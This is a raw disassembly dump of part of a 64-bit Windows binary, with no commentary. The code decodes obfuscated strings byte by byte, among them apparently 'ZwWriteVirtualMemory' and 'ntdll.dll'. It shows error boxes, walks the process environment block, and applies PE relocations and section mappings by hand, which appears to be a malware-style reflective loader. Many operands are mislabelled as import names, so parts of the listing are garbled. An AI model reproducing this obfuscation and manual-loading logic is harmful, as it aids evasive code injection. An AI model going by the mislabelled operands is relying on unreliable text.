mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a5], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a6], al
mov r9, rbx
lea r12d, [rsi + 0xd]
mov r8d, r12d
mov dl, 0x75
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a7], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a8], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a9], al
xor eax, eax
mov byte [rbp + 0x3aa], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x399]
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + rdi + 0x399], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002e1f2
xor edi, edi
mov byte [rbp + 0x3aa], dil
mov byte [rbp + 0x5f0], gethostname
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5f1], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5f2], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r15b
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5f3], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5f4], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5f5], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5f6], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5f7], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5f8], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r15b
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5f9], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5fa], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5fb], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5fc], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5fd], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5fe], al
mov r9d, esi
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x5ff], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x600], al
mov r9d, esi
mov r8, r13
mov dl, r15b
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x601], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x602], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x603], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x34
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + 0x604], al
xor eax, eax
mov byte [rbp + 0x605], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5f1]
lea rcx, [rbp + 0x5f0]
call fcn.1400364e8
mov byte [rbp + rdi + 0x5f1], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002e452
xor eax, eax
mov byte [rbp + 0x605], al
xor r9d, r9d
lea r8, [rbp + 0x399]
lea rdx, [rbp + 0x5f1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov byte [rbp + 0x3c8], Ordinal_50
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3c9], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3ca], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3cb], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3cc], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3cd], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3ce], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3cf], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d0], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d1], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r15b
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d2], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d3], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d4], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d5], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d6], al
mov r9, rbx
lea r12d, [rsi + 0xd]
mov r8d, r12d
mov dl, 0x75
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d7], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d8], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + 0x3d9], al
xor eax, eax
mov byte [rbp + 0x3da], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3c9]
lea rcx, [rbp + 0x3c8]
call fcn.140035de8
mov byte [rbp + rdi + 0x3c9], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002e688
xor edi, edi
mov byte [rbp + 0x3da], dil
mov byte [rbp + 0x620], reloc.WLDAP32.dll_Ordinal_22
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x621], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x622], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r15b
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x623], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x624], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x625], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x626], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x627], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x628], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r15b
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x629], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x62a], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x62b], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x62c], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x62d], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x62e], al
mov r9d, esi
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x62f], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x630], al
mov r9d, esi
mov r8, r13
mov dl, r15b
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x631], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x632], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x633], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + 0x634], al
xor eax, eax
mov byte [rbp + 0x635], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x621]
lea rcx, [rbp + 0x620]
call fcn.1400364e8
mov byte [rbp + rdi + 0x621], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002e8e8
xor eax, eax
mov byte [rbp + 0x635], al
xor r9d, r9d
lea r8, [rbp + 0x3c9]
lea rdx, [rbp + 0x621]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov byte [rbp + 0x3e0], Ordinal_41
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3e1], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3e2], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3e3], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3e4], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3e5], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3e6], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3e7], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3e8], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3e9], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r15b
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3ea], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3eb], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3ec], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3ed], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3ee], al
mov r9, rbx
lea r12d, [rsi + 0xd]
mov r8d, r12d
mov dl, 0x75
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3ef], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3f0], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + 0x3f1], al
xor eax, eax
mov byte [rbp + 0x3f2], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3e1]
lea rcx, [rbp + 0x3e0]
call fcn.140035de8
mov byte [rbp + rdi + 0x3e1], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002eb1c
xor edi, edi
mov byte [rbp + 0x3f2], dil
mov byte [rbp + 0x608], gethostname
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x609], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x60a], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r15b
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x60b], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x60c], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x60d], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x60e], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x60f], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x610], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r15b
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x611], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x612], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x613], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x614], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x615], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x616], al
mov r9d, esi
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x617], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x618], al
mov r9d, esi
mov r8, r13
mov dl, r15b
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x619], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x61a], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x61b], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, Ordinal_50
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + 0x61c], al
xor eax, eax
mov byte [rbp + 0x61d], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x609]
lea rcx, [rbp + 0x608]
call fcn.1400364e8
mov byte [rbp + rdi + 0x609], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002ed7c
xor eax, eax
mov byte [rbp + 0x61d], al
xor r9d, r9d
lea r8, [rbp + 0x3e1]
lea rdx, [rbp + 0x609]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov r10, qword [rbp - 8]
jmp 0x140024630
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x14002edec
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x14002ee94
add rdx, 0x28
cmp rdx, r8
jb 0x14002edd6
xor ecx, ecx
mov edx, ecx
mov r9d, dword [r10 + 0xb4]
add r9, rdx
test rdx, rdx
je 0x14002ef28
cmp rdx, r9
jae 0x14002ef28
mov r12, qword [rbp - 0x60]
mov r15, qword [rbp + 0xbc8]
mov eax, dword [rdx + 4]
test eax, eax
je 0x14002ef1a
add eax, 0xfffffff8
shr eax, 1
je 0x14002ef0b
lea rcx, [rdx + 8]
mov qword [rsp + 0x68], rcx
mov r8d, eax
mov qword [rbp - 0x78], r8
mov r11d, 1
movzx edi, word [rcx]
movzx eax, di
shr ax, 0xc
and edi, 0xfff
jge 0x14002ee6a
sub edi, r11d
or edi, 0xfffff000
add edi, r11d
cmp ax, word [rbp - 0x28]
je 0x14002ee76
cmp ax, word [rbp - 0x40]
jne 0x14002eef3
mov r11d, dword [rdx]
movzx r8d, word [r10 + 0x14]
add r8, 0x18
add r8, r10
movzx eax, word [r10 + 6]
lea rcx, [rax + rax*4]
lea rcx, [r8 + rcx*8]
jmp 0x14002eec0
mov edx, dword [rdx + 0x14]
sub rdx, rcx
add rdx, rdi
add rdx, r9
xor ecx, ecx
jmp 0x14002edf9
mov r10d, dword [r8 + 0xc]
cmp r11, r10
jb 0x14002eebc
mov eax, dword [r8 + 8]
add eax, r10d
cmp r11, rax
jb 0x14002eec7
add r8, 0x28
cmp r8, rcx
jb 0x14002eea7
jmp 0x14002eed6
mov ecx, dword [r8 + 0x14]
sub rcx, r10
add rcx, r11
add rcx, r15
jne 0x14002eed9
mov rcx, r15
movzx eax, di
add qword [rax + rcx], r12
mov rcx, qword [rsp + 0x68]
mov r8, qword [rbp - 0x78]
mov r10, qword [rbp - 8]
mov r11d, 1
add rcx, 2
mov qword [rsp + 0x68], rcx
sub r8, r11
mov qword [rbp - 0x78], r8
jne 0x14002ee4c
xor ecx, ecx
mov eax, dword [rdx + 4]
add rdx, rax
cmp rdx, r9
jb 0x14002ee20
mov r14d, reloc.WS2_32.dll_socket
lea r15d, [r14 + 9]
lea r12d, [r14 - 2]
mov rdi, qword [rbp + 0xe10]
movzx eax, word [r10 + 0x14]
lea rcx, [r10 + 0x18]
add rcx, rax
mov qword [rbp - 0x20], rcx
xor r9d, r9d
mov edx, r9d
mov dword [rbp - 0x68], edx
cmp r9w, word [r10 + 6]
jae 0x140030a6e
lea r11d, [r9 + 1]
cmp dword [rcx + 0x14], r9d
je 0x14002ff82
cmp dword [rcx + 0x10], r9d
je 0x14002ff82
mov eax, dword [rcx + 0x10]
mov qword [rbp - 0x60], rax
mov eax, dword [rcx + 0x14]
add rax, qword [rbp + 0xbc8]
mov qword [rbp - 0x70], rax
mov eax, dword [rcx + 0xc]
add rax, rdi
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x80], rax
mov word [rbp + 0x638], 0x235a
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x63a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x63b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x63c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x63d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x63e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x63f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x640], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x641], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x642], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x643], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x644], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x645], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x646], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x647], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x648], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x649], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x64a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x64b], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x638]
call fcn.1400364e8
mov byte [rbp + 0x64c], al
xor eax, eax
mov byte [rbp + 0x64d], al
mov r8d, eax
mov r9, rsi
lea r13d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x638]
add eax, r13d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x638]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x639], dil
add r8, r13
add r9, rsi
cmp r9, 0x1a4
jb 0x14002f1de
xor edi, edi
lea r13d, [rdi + 0x10]
mov byte [rbp + 0x64d], dil
mov word [rbp + 0x270], 0xc73
mov byte [rbp + 0x272], 0xea
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x270]
call fcn.140035cf8
mov byte [rbp + 0x273], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x270]
call fcn.140035cf8
mov byte [rbp + 0x274], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x270]
call fcn.140035cf8
mov byte [rbp + 0x275], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x270]
call fcn.140035cf8
mov byte [rbp + 0x276], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x270]
call fcn.140035cf8
mov byte [rbp + 0x277], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x270]
call fcn.140035cf8
mov byte [rbp + 0x278], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x270]
call fcn.140035cf8
mov byte [rbp + 0x279], al
xor eax, eax
mov byte [rbp + 0x27a], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x270]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x270]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x271], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14002f34d
xor ecx, ecx
mov byte [rbp + 0x27a], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002f72c
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002f45f
lea r12d, [rax + 1]
mov r10d, r12d
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x14002f430
mov r14d, reloc.WS2_32.dll_socket
lea r12d, [r14 - 2]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
